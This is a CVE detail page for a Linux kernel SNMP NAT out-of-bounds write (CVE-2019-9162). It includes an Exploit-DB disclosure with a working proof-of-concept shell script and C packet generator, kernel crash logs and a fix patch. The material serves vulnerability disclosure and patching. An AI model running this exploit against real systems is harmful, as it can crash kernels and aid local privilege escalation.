CVE-2019-9162 Detail

CVE-2019-9162

Score / Severity

7.8

High

CVE Descriptions

In the Linux kernel before 4.20.12, net/ipv4/netfilter/nf_nat_snmp_basic_main.c in the SNMP NAT module has insufficient ASN.1 length checks (aka an array index error), making out-of-bounds read and write operations possible, leading to an OOPS or local privilege escalation. This affects snmp_version and snmp_helper.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	4.6		AV:L/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 46477

Publication date : 2019-02-28 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

commit cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library", first in 4.16) changed the nf_nat_snmp_basic module (which, when enabled, parses and modifies the ASN.1-encoded payloads of SNMP messages) so that the kernel's ASN.1 infrastructure is used instead of an open-coded parser. The common ASN.1 decoder can invoke callbacks when certain objects are encountered. The SNMP helper has two such callbacks defined in nf_nat_snmp_basic.asn1: - For the `version` field of a `Message` (a `INTEGER`), snmp_version() is invoked. - For each `IpAddress` (according to RFC 1155, a 4-byte octet string), snmp_helper() is invoked. These callbacks contain the following code: int snmp_version(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { if (*(unsigned char *)data > 1) return -ENOTSUPP; return 1; } int snmp_helper(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { struct snmp_ctx *ctx = (struct snmp_ctx *)context; __be32 *pdata = (__be32 *)data; if (*pdata == ctx->from) { pr_debug("%s: %pI4 to %pI4\n", __func__, (void *)&ctx->from, (void *)&ctx->to); if (*ctx->check) fast_csum(ctx, (unsigned char *)data - ctx->begin); *pdata = ctx->to; } return 1; } The problem is that both of these callbacks can be invoked by the ASN.1 parser with `data` pointing at the end of the packet and `datalen==0` (even though, for the `INTEGER` type, X.690 says in section 8.3.1 that "The contents octets shall consist of one or more octets"), but they don't check whether there is sufficient input available. This means that snmp_version() can read up to one byte out-of-bounds and leak whether that byte was <=1, and snmp_helper() can read and potentially also write up to four bytes out-of-bounds. Unfortunately, KASAN can't detect the out-of-bounds reads because, as was pointed out in <https://lore.kernel.org/lkml/[email protected]/> regarding a (harmless) out-of-bounds read in the TCP input path, the kernel stores a `struct skb_shared_info` at the end of the socket buffer allocation, directly behind the packet data. The kernel can only detect that a problem occurred based on the later effects of an out-of-bounds write. It might be a good idea to explicitly add some KASAN poison between the head data and struct skb_shared_info to make it easier for kernel fuzzers to discover issues like this in the future. There are two scenarios in which this bug might be attacked: - A router that performs NAT translation is explicitly set up to invoke the SNMP helper, and a device in the NATted network wants to attack the router. This is probably very rare, since the router would need to be explicitly configured to perform SNMP translation. On top of that, to corrupt memory, an attacker would need to be able to completely fill an SKB; it isn't clear to me whether that is possible remotely. - A local attacker could exploit the bug by setting up new network namespaces with an iptables configuration that invokes SNMP translation. This probably works as a local privilege escalation against some distribution kernels. The normal autoloading path for this code was only set up in commit 95c97998aa9f ("netfilter: nf_nat_snmp_basic: add missing helper alias name", first in 4.20), but from a glance, it looks like it would be possible on kernels before 4.20 to instead first load one of the openvswitch module's aliases "net-pf-16-proto-16-family-ovs_*" through ctrl_getfamily(), then use ovs_ct_add_helper() to trigger loading of "nf_nat_snmp_basic" through the alias "ip_nat_snmp_basic". The following is a reproducer for a git master build that causes a kernel oops (nf_nat_snmp_basic must be compiled into the kernel, or built as a module, I think): ====================================================================== #!/bin/sh unshare -mUrnp --mount-proc --fork bash <<SCRIPT_EOF set -e set -x # make "ip netns" work in here mount -t tmpfs none /var/run/ cd /var/run # this namespace is the router with NAT ip link set dev lo up echo 1 > /proc/sys/net/ipv4/ip_forward /sbin/iptables -t nat -A POSTROUTING -o veth0 -j MASQUERADE /sbin/iptables -t raw -A PREROUTING -p udp --dport 162 -j CT --helper snmp_trap /sbin/iptables -A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED,ESTABLISHED,SNAT,DNAT -m helper --helper snmp_trap -j ACCEPT # this namespace is the destination host for the SNMP trap message ip netns add netns1 nsenter --net=/var/run/netns/netns1 ip link set dev lo up ip link add veth0 type veth peer name veth1 ip link set veth1 netns netns1 nsenter --net=/var/run/netns/netns1 /sbin/ifconfig veth1 192.168.0.2/24 up /sbin/ifconfig veth0 192.168.0.1/24 up # this namespace sends the SNMP trap message ip netns add netns2 nsenter --net=/var/run/netns/netns2 ip link set dev lo up ip link add veth2 type veth peer name veth3 ip link set veth3 netns netns2 # /31 network, see RFC 3021 # we want *.0.0.0 so that the 3 OOB bytes can be zero nsenter --net=/var/run/netns/netns2 /sbin/ifconfig veth3 10.0.0.0/31 up /sbin/ifconfig veth2 10.0.0.1/24 up nsenter --net=/var/run/netns/netns2 ip route add default via 10.0.0.1 # debug ip route nsenter --net=/var/run/netns/netns2 ip route # run the PoC cat > udp_repro.c <<C_EOF #define _GNU_SOURCE #include <arpa/inet.h> #include <stdlib.h> #include <errno.h> #include <stdarg.h> #include <net/if.h> #include <linux/if.h> #include <linux/ip.h> #include <linux/udp.h> #include <linux/in.h> #include <err.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define IPADDR(a,b,c,d) (((a)<<0)+((b)<<8)+((c)<<16)+((d)<<24)) // "pc X" comments in the following array refer to indices into // nf_nat_snmp_basic_machine in "nf_nat_snmp_basic.asn1.c", which // is generated as part of the kernel's build process. // reading the ASN.1 decoder and the generated machine opcodes // seemed easier than trying to build ASN.1 by looking at the // spec or something like that... uint8_t snmp_packet[] = { // pc 0: read tag, should match _tag(UNIV, CONS, SEQ) == 0x30 // length indef 0x30, 0x80, // pc 2: read tag, should match _tag(UNIV, PRIM, INT) == 0x02 // version number 0x02, 0x01, 0x00, // pc 5: read tag, should match _tag(UNIV, PRIM, OTS) == 0x04 0x04, 0x00, // pc 7: read tag, should match _tagn(CONT, CONS, 0) == 0xa0 // selects GetRequest-PDU, length indef 0xa0, 0x80, // pc 34: read INT request-id 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, // pc 36: read INT error-status 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, // pc 38: read INT error-index 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, // pc 40: read seq VarBindList // length indef 0x30, 0x80, // pc 42: read seq VarBind // length indef 0x30, 0x80, // ptr 44: read tag, should match _tag(UNIV, PRIM, OID) == 0x06 // ObjectName // (can use 0x82 as length to have two bytes of length following) // length chosen so that the end of packet data is directly // followed by the skb_shared_info, with the whole thing in a // kmalloc-512 slab. 0x06, 0x70, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // ptr 46: read tag, should skip // ptr 48: read tag, should skip // ptr 50: read tag, should skip // ptr 52: read tag, should match _tagn(APPL, PRIM, 0) == 0x40 // IpAddress // we could also use a length of zero, and the callback would still // be invoked, but we want control over the first byte so that we // can create a source IP match. 0x40, 0x01, // source IP 10.0.0.0 0x0a }; void do_sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) { int res = sendto(sockfd, buf, len, flags, dest_addr, addrlen); if (res != len) { if (res == -1) err(1, "send failed"); else errx(1, "partial send?"); } } int main(void) { int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock == -1) err(1, "socket"); struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(162), .sin_addr = { .s_addr = IPADDR(192,168,0,2) } }; // __ip_append_data() overallocates by 15 bytes for some reason; cancel it out // by using CORK to first send 15 bytes short, then append the remaining 15 bytes do_sendto(sock, snmp_packet, sizeof(snmp_packet)-15, MSG_MORE, (struct sockaddr *)&sa, sizeof(sa)); do_sendto(sock, ((char*)snmp_packet)+sizeof(snmp_packet)-15, 15, 0, (struct sockaddr *)&sa, sizeof(sa)); } C_EOF gcc -o udp_repro udp_repro.c -Wall nsenter --net=/var/run/netns/netns2 ./udp_repro SCRIPT_EOF ====================================================================== Corresponding splat: ====================================================================== [ 260.101983] IPVS: ftp: loaded support on port[0] = 21 [ 260.134983] LoadPin: vda1 (254:1): writable [ 260.135981] LoadPin: enforcement can be disabled. [ 260.137085] LoadPin: kernel-module pinned obj="/lib/modules/5.0.0-rc5/kernel/net/bpfilter/bpfilter.ko" pid=1095 cmdline="/sbin/modprobe -q -- bpfilter" [ 260.143100] bpfilter: Loaded bpfilter_umh pid 1096 [ 260.171851] IPVS: ftp: loaded support on port[0] = 21 [ 260.248339] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready [ 260.250475] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready [ 260.261136] IPVS: ftp: loaded support on port[0] = 21 [ 260.347678] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready [ 260.621924] page:ffffea000703de00 count:0 mapcount:-128 mapping:0000000000000000 index:0x0 [ 260.624264] flags: 0x17fffc000000000() [ 260.625373] raw: 017fffc000000000 ffffea0007a6d408 ffffea000783fe08 0000000000000000 [ 260.627650] raw: 0000000000000000 0000000000000003 00000000ffffff7f 0000000000000000 [ 260.629926] page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0) [ 260.631958] ------------[ cut here ]------------ [ 260.633312] kernel BUG at ./include/linux/mm.h:546! [ 260.634771] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [ 260.636693] CPU: 6 PID: 1121 Comm: udp_repro Not tainted 5.0.0-rc5 #263 [ 260.638583] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 260.641031] RIP: 0010:do_exit+0x1391/0x1440 [ 260.642266] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c [ 260.647667] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286 [ 260.649556] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000 [ 260.651639] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0 [ 260.653712] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9 [ 260.655786] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34 [ 260.657857] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78 [ 260.659939] FS: 0000000000000000(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000 [ 260.662281] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 260.664171] CR2: 00007fe2da7af5e0 CR3: 000000002de2b002 CR4: 0000000000360ee0 [ 260.666987] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 260.670022] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 260.672035] Call Trace: [ 260.672761] ? release_task+0x860/0x860 [ 260.673864] ? __fd_install+0x88/0x140 [ 260.674946] ? handle_mm_fault+0x82/0x130 [ 260.676100] do_group_exit+0x79/0x120 [ 260.677157] __x64_sys_exit_group+0x28/0x30 [ 260.678362] do_syscall_64+0x73/0x160 [ 260.679440] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 260.680878] RIP: 0033:0x7fe2da7af618 [ 260.681922] Code: Bad RIP value. [ 260.682872] RSP: 002b:00007ffd5a5e12c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 [ 260.685057] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fe2da7af618 [ 260.687125] RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000 [ 260.689197] RBP: 00007fe2daa8c8e0 R08: 00000000000000e7 R09: ffffffffffffff98 [ 260.691264] R10: 00007ffd5a5e1248 R11: 0000000000000246 R12: 00007fe2daa8c8e0 [ 260.693343] R13: 00007fe2daa91c20 R14: 0000000000000000 R15: 0000000000000000 [ 260.695412] Modules linked in: bpfilter [ 260.696776] ---[ end trace d5f4a4a31d762416 ]--- [ 260.698931] RIP: 0010:do_exit+0x1391/0x1440 [ 260.700171] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c [ 260.705625] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286 [ 260.707183] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000 [ 260.708823] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0 [ 260.710384] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9 [ 260.711888] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34 [ 260.713785] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78 [ 260.715326] FS: 00007fe2dac99700(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000 [ 260.717071] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 260.718340] CR2: 00007fe2da7af5ee CR3: 000000002de2b002 CR4: 0000000000360ee0 [ 260.719867] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 260.721389] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 260.722923] Fixing recursive fault but reboot is needed! ====================================================================== It also works against a Debian testing distro kernel if you first (as root) set kernel.unprivileged_userns_clone=1 and modprobe nf_nat_snmp_basic; splat: ====================================================================== [17260.886470] IPv6: ADDRCONF(NETDEV_UP): veth1: link is not ready [17260.887304] IPv6: ADDRCONF(NETDEV_UP): veth0: link is not ready [17260.887310] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready [17260.887334] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready [17260.930188] IPv6: ADDRCONF(NETDEV_UP): veth3: link is not ready [17260.931286] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready [17261.115583] BUG: Bad page state in process Xorg pfn:276500 [17261.115588] page:ffffcf4ac9d94000 count:-1 mapcount:0 mapping:0000000000000000 index:0x0 [17261.115595] flags: 0x17fffc000000000() [17261.115598] raw: 017fffc000000000 dead000000000100 dead000000000200 0000000000000000 [17261.115599] raw: 0000000000000000 0000000000000000 ffffffffffffffff 0000000000000000 [17261.115601] page dumped because: nonzero _count [17261.115602] Modules linked in: veth xt_helper xt_conntrack nf_nat_snmp_basic nf_conntrack_snmp nf_conntrack_broadcast xt_CT xt_tcpudp nft_counter nft_chain_nat_ipv4 ipt_MASQUERADE nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nft_compat nf_tables nfnetlink uinput atm netrom appletalk psnap llc ax25 snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev qxl snd soundcore ttm drm_kms_helper drm sg evdev virtio_balloon serio_raw virtio_console crct10dif_pclmul crc32_pclmul pcspkr ghash_clmulni_intel button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto ecb btrfs xor zstd_decompress zstd_compress xxhash hid_generic usbhid hid raid6_pq libcrc32c crc32c_generic sr_mod cdrom ata_generic virtio_net net_failover virtio_blk failover crc32c_intel [17261.115641] ata_piix libata ehci_pci aesni_intel uhci_hcd aes_x86_64 ehci_hcd crypto_simd cryptd virtio_pci usbcore scsi_mod psmouse glue_helper virtio_ring i2c_piix4 usb_common virtio floppy [17261.115652] CPU: 14 PID: 653 Comm: Xorg Not tainted 4.19.0-1-amd64 #1 Debian 4.19.12-1 [17261.115653] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [17261.115654] Call Trace: [17261.115681] dump_stack+0x5c/0x80 [17261.115688] bad_page.cold.115+0x7f/0xb2 [17261.115690] get_page_from_freelist+0xf51/0x1200 [17261.115694] ? reservation_object_reserve_shared+0x32/0x70 [17261.115696] ? get_page_from_freelist+0x8c3/0x1200 [17261.115698] __alloc_pages_nodemask+0x112/0x2b0 [17261.115703] new_slab+0x288/0x6e0 [17261.115707] ? update_blocked_averages+0x3ca/0x560 [17261.115708] ___slab_alloc+0x378/0x500 [17261.115710] ? update_nohz_stats+0x41/0x50 [17261.115713] ? shmem_alloc_inode+0x16/0x30 [17261.115715] ? shmem_alloc_inode+0x16/0x30 [17261.115716] __slab_alloc+0x1c/0x30 [17261.115717] kmem_cache_alloc+0x192/0x1c0 [17261.115719] shmem_alloc_inode+0x16/0x30 [17261.115722] alloc_inode+0x1b/0x80 [17261.115725] new_inode_pseudo+0xc/0x60 [17261.115726] new_inode+0x12/0x30 [17261.115728] shmem_get_inode+0x49/0x220 [17261.115731] __shmem_file_setup.part.42+0x3f/0x130 [17261.115754] drm_gem_object_init+0x26/0x40 [drm] [17261.115758] qxl_bo_create+0x79/0x170 [qxl] [17261.115762] qxl_gem_object_create+0x60/0x120 [qxl] [17261.115764] ? qxl_map_ioctl+0x20/0x20 [qxl] [17261.115767] qxl_gem_object_create_with_handle+0x4e/0xb0 [qxl] [17261.115769] qxl_alloc_ioctl+0x42/0xa0 [qxl] [17261.115777] ? drm_dev_enter+0x19/0x50 [drm] [17261.115785] drm_ioctl_kernel+0xa1/0xf0 [drm] [17261.115807] drm_ioctl+0x1fc/0x390 [drm] [17261.115810] ? qxl_map_ioctl+0x20/0x20 [qxl] [17261.115812] ? ep_scan_ready_list.constprop.22+0x1fc/0x220 [17261.115814] ? __hrtimer_init+0xb0/0xb0 [17261.115816] ? timerqueue_add+0x52/0x80 [17261.115834] ? enqueue_hrtimer+0x38/0x90 [17261.115835] ? hrtimer_start_range_ns+0x1b7/0x2c0 [17261.115836] do_vfs_ioctl+0xa4/0x630 [17261.115840] ? __sys_recvmsg+0x83/0xa0 [17261.115841] ksys_ioctl+0x60/0x90 [17261.115843] __x64_sys_ioctl+0x16/0x20 [17261.115846] do_syscall_64+0x53/0x100 [17261.115851] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [17261.115852] RIP: 0033:0x7fb3e93d3747 [17261.115854] Code: 00 00 90 48 8b 05 49 a7 0c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 19 a7 0c 00 f7 d8 64 89 01 48 [17261.115855] RSP: 002b:00007ffc43daf3f8 EFLAGS: 00003246 ORIG_RAX: 0000000000000010 [17261.115856] RAX: ffffffffffffffda RBX: 0000562c71bece00 RCX: 00007fb3e93d3747 [17261.115857] RDX: 00007ffc43daf430 RSI: 00000000c0086440 RDI: 000000000000000e [17261.115857] RBP: 00007ffc43daf430 R08: 0000562c71bece00 R09: 00000000000003d1 [17261.115858] R10: 0000562c71085010 R11: 0000000000003246 R12: 00000000c0086440 [17261.115858] R13: 000000000000000e R14: 0000562c710bcba0 R15: 0000562c710d82f0 [17261.115860] Disabling lock debugging due to kernel taint ====================================================================== I suggest the following patch (copy attached with proper whitespace); I have tested that it prevents my PoC from crashing the kernel, but I haven't tested whether SNMP NATting still works. ====================================================================== From b94c17fa81f8870885baaec7815eee8b789d2c7b Mon Sep 17 00:00:00 2001 From: Jann Horn <[email protected]> Date: Wed, 6 Feb 2019 22:56:15 +0100 Subject: [PATCH] netfilter: nf_nat_snmp_basic: add missing length checks in ASN.1 cbs The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks will get as much data as they expect; callbacks have to check the `datalen` parameter before looking at `data`. Make sure that snmp_version() and snmp_helper() don't read/write beyond the end of the packet data. (Also move the assignment to `pdata` down below the check to make it clear that it isn't necessarily a pointer we can use before the `datalen` check.) Fixes: cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library") Signed-off-by: Jann Horn <[email protected]> --- net/ipv4/netfilter/nf_nat_snmp_basic_main.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c index a0aa13bcabda..0a8a60c1bf9a 100644 --- a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c +++ b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c @@ -105,6 +105,8 @@ static void fast_csum(struct snmp_ctx *ctx, unsigned char offset) int snmp_version(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { + if (datalen != 1) + return -EINVAL; if (*(unsigned char *)data > 1) return -ENOTSUPP; return 1; @@ -114,8 +116,11 @@ int snmp_helper(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { struct snmp_ctx *ctx = (struct snmp_ctx *)context; - __be32 *pdata = (__be32 *)data; + __be32 *pdata; + if (datalen != 4) + return -EINVAL; + pdata = (__be32 *)data; if (*pdata == ctx->from) { pr_debug("%s: %pI4 to %pI4\n", __func__, (void *)&ctx->from, (void *)&ctx->to); -- 2.20.1.611.gfbb209baf1-goog ======================================================================